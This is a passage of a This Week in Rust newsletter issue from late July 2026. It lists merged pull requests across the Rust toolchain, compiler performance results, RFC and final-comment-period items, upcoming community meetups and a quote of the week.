<p>570 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-21..2026-07-28">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/143208">apply RemoveNoopLandingPads post-monomorphization</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158901">closures inherit <code>#[optimize]</code> from the enclosing function by default</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159317">fix <code>bool</code> calling convention for aarch64, etc</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159609">optimize <code>escape_string_symbol()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159695"><code>proc_macro</code>: Fix <code>cfg_attr</code> inner attrs in file modules</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159440">resolve: more preperation work for parallelizing the import resolution loop</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155697">stabilize c-variadic function definitions</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/155795">constify <code>vec![1, 2, 3]</code> macro</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159435">core: implement <code>Rng</code> for references</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159656">define a <code>Simd</code> type in <code>minicore</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159738">implement <code>CovariantUnsafeCell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159846">implement <code>str::copy_from_str</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159518">iter: extend <code>step_by</code> specialization to cover <code>StepBy&lt;RangeIter&lt;{integer}&gt;&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158547">move <code>std::io::buffered</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156225">num: improve error messages for <code>TryFromIntError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159271">str: add ASCII fast path to <code>word_to_titlecase</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159733">switch implementations of <code>thread_local!</code> for WASI</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17248">add haiku's dylib path</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17251"><code>diag</code>: bound transitive unused dependency traversal</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17243"><code>git</code>: Hide git fetch output without progress</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17252"><code>git</code>: Suggest libgit2 if git-cli fails</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17256"><code>test</code>: gate trim-paths tests on split debuginfo support</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17051"><code>toml</code>: warn on hyphenated lint names and duplicates</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17266">allow setting <code>-Zembed-metadata</code> value from the config</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17258">enable build-dir layout v2 on nightly by default</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17247">zsh completion: Add <code>-p</code> and <code>--package</code> flags for <code>cargo add</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustfmt">Rustfmt</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159737">allow file not found errors for external mods annotated with <code>#[my_macro]</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158372">discover modules via <code>cfg_select!</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156474">add paths for linked associated items</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159722">Retrieve <code>cfg_attr</code> information for derived impls for <code>doc_cfg</code> feature</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159623">only build extern trait impls if needed</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159721">only inline impls for local primitives</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17441">add <code>EULER_GAMMA</code> and <code>GOLDEN_RATIO</code> to <code>approx_constant</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17149">add <code>assert_is_empty</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17044">apply safety comment to compound assignment statement</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17420"><code>blocks_in_conditions</code>: Don't lint if the block creates temporarie…</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17294">call <code>in_external_macro</code> after running other checks in various places</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17105">do not trigger <code>clippy::exit</code> when expression comes from an external macro</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17002"><code>duration_suboptimal_units</code>: print the complete method name in the suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17313">extend <code>branches_sharing_code</code> to match arms with a shared tail</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16741"><code>min_ident_chars</code> lint short idents even if follows trait naming</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17461"><code>multiple_unsafe_ops_per_block</code>: false positive in with taking an reference to a static, but not reading/writing it</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17448">fix <code>four_forward_slashes</code> false positive on inner doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17434"><code>lint-page</code>: add accessible labels to filters</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17336">new lint: <code>nonnull_unchecked_on_box_ptr</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17227">perf: avoid per-call type and path work in <code>unnecessary_mut_passed</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17410">perf: find tab groups in doc comments without allocating</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17363">rewrite <code>EndianBytes</code> lint pass</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22851">add diagnostic for <code>struct</code> patterns which don't specify sub-patterns for its fields</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22898">add parentheses for invert general expression</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22905">attach db on worker threads in parallel analysis-stats inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22876">change unsupported toolchain version to match reality</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22903">discover protocol should only parse stdout</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22881">do not detect <code>#[rust_analyzer]</code> as <code>#[rust_analyzer::rust_fixture]</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22919">don't offer <code>replace_qualified_name_with_use</code> on an unqualified path</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22930">don't panic on a qualified path whose trait is not a trait</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22932">don't pick a discriminant type larger than typeck's</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22908">fix stale lock file</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22924">fix <code>.zip(None)</code> call</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22923">give <code>impl_trait_with_diagnostics</code> a cycle result</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22909">make analysis-stats progress bar Unicode-safe</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22892"><code>merge_imports</code> panic on invalid paths</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22843">panic on macro-defined structs with unknown fields</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22918">prefer <code>alloc</code> over <code>std</code> paths when <code>preferNoStd</code> is set</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22854">record obligation chain for unimplemented trait diagnostics and show it</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22916">replace detach with delete for <code>ast::IdentPat</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22743">resolve path on all namespace on <code>resolve_path</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22660">respect <code>references.exclude[Tests/Imports]</code> in references lens</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22587">scoped lazy priming</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22306">support inactive-code diagnostic in macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22896">uses bool instead pat ty in guard</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>Several large improvements landed in the past week:</p>
<ul>
<li>rustdoc is on average roughly 16% faster across all of our doc benchmarks:</li>
<li><a href="https://github.com/rust-lang/rust/pull/159721">rustdoc: Only inline impls for local primitives</a>, 7% faster doc builds</li>
<li><a href="https://github.com/rust-lang/rust/pull/159779">rustdoc: Only synthesize auto/blanket impls for documented items</a>, another 7% faster doc builds</li>
<li><a href="https://github.com/rust-lang/rust/pull/159623">rustdoc: Only build extern trait impls if needed</a>, another 10% faster doc builds</li>
<li><a href="https://github.com/rust-lang/rust/pull/143208">Early removal of no-op panic handling in debug builds</a>. This speeds up Cargo by ~4% in cycle count.</li>
<li><a href="https://github.com/rust-lang/rust/pull/159609">Optimize escape_string_symbol()</a> sped
  up large <code>include_bytes!</code>/<code>include_str!</code> through changes to string escaping, avoiding a regression in upcoming LLVM 23 upgrade.</li>
</ul>
<p>Great to see so many improvements!</p>
<p>Triage done by <strong>@simulacrum</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;end=ad0c9dce27a22416b65946bc0010edaf22ac6c83&amp;absolute=false&amp;stat=instructions%3Au">d527bc9b..ad0c9dce</a></p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/main/triage/2026/2026-07-27.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158447">Shallow resolve ty and const vars to their root vars, attempt 2</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157841">Ensure inferred let pattern types are well-formed</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159746">stabilize <code>c_variadic_naked_functions</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157036">lint against repeated repr attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159525">Stabilize passing 128-bit integers via vector registers with <code>asm!</code> on x86</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159583">Add new <code>invalid_markdown_table</code> rustdoc lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159503">allocations: document that they can be read-only</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159729">allocations are allowed to grow (but not shrink)</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li>
<p><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></p>
</li>
<li>
<p><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></p>
</li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1017">Wasm proc macro support</a></li>
<li>
<p><a href="https://github.com/rust-lang/compiler-team/issues/980">group target modifier options under -T</a></p>
</li>
<li>
<p><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize repr(Rust) enums by omitting tags in more cases involving uninhabited variants.</a></p>
</li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3924">Cargo: <code>hints.min-opt-level</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo_1"></a><a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17214">feat(profile): Add built-in profile debug</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17126">feat(toml): allow overriding inherited default-features in 2024</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em>
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3987">RFC: Externref lang item for Wasm targets</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-29 - 2026-08-26 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-03 | Virtual (Global) | <a href="https://luma.com/rust-maven">Rust Maven</a><ul>
<li><a href="https://luma.com/nwfmsdtf"><strong>Workshop: Add tests to an open source Rust project</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315800760/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Cardiff, UK) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff">Rust and C++ Cardiff</a><ul>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315880365/"><strong>Operating Systems Book Club: Execution and Scheduling</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520814/"><strong>August, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/315733791/"><strong>Tock OS Part #5 — Wireless Communication with the IEEE 802.15.4 protocol</strong></a></li>
</ul>
</li>
<li>2026-08-21 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/1bm27cah"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-25 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254775/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-08-22 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/august-2026-rustacean-meetup/"><strong>August 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Delhi, IN | <a href="https://www.meetup.com/rustdelhi">Rust Delhi</a><ul>
<li><a href="https://www.meetup.com/rustdelhi/events/315185336/"><strong>Rust Delhi X SciPy India Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-22 | Noida, IN | <a href="https://scipy.in/">SciPy India</a><ul>
<li><a href="https://scipy.in/sci-py-rs/"><strong>Scientific Computing in Rust and Python</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Oxford, UK | <a href="https://www.meetup.com/oxford-rust-meetup-group">Oxford ACCU/Rust Meetup.</a><ul>
<li><a href="https://www.meetup.com/oxford-rust-meetup-group/events/315863373/"><strong>ACCU/Rust Summer social</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main">Rust Rhein-Main</a><ul>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315855368/"><strong>Building an acoustic camera with egui and embassy</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315590399/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
<li>2026-08-19 | San Francisco, CA, US | <a href="https://luma.com/bayarearust">Rust Bay Area</a><ul>
<li><a href="https://luma.com/00f2s7q9"><strong>Rust Bay Area August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-20 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520814/"><strong>August, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-26 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/315171660/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>So let's talk about what the process has looked like for Netstack3. For 11 months, the team has been ramping up a dogfooding program. At peak, that program has seen about 60 devices running nearly 24/7 in developers' homes.</p>
<p>Again, if this were any other netstack, we would have expected to uncover a giant mountain of bugs in that time. So, over the past year, how many bugs did the team uncover in the field?</p>
<p>Three.</p>
</blockquote>
<p>– <a href="https://joshlf.com/posts/safety-unsafe-world/">Josh Liebow-Feeser on his blog</a></p>
<p>llogiq again has no one to thank for a suggestion, so he is thankful to himself for finding this quote instead.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
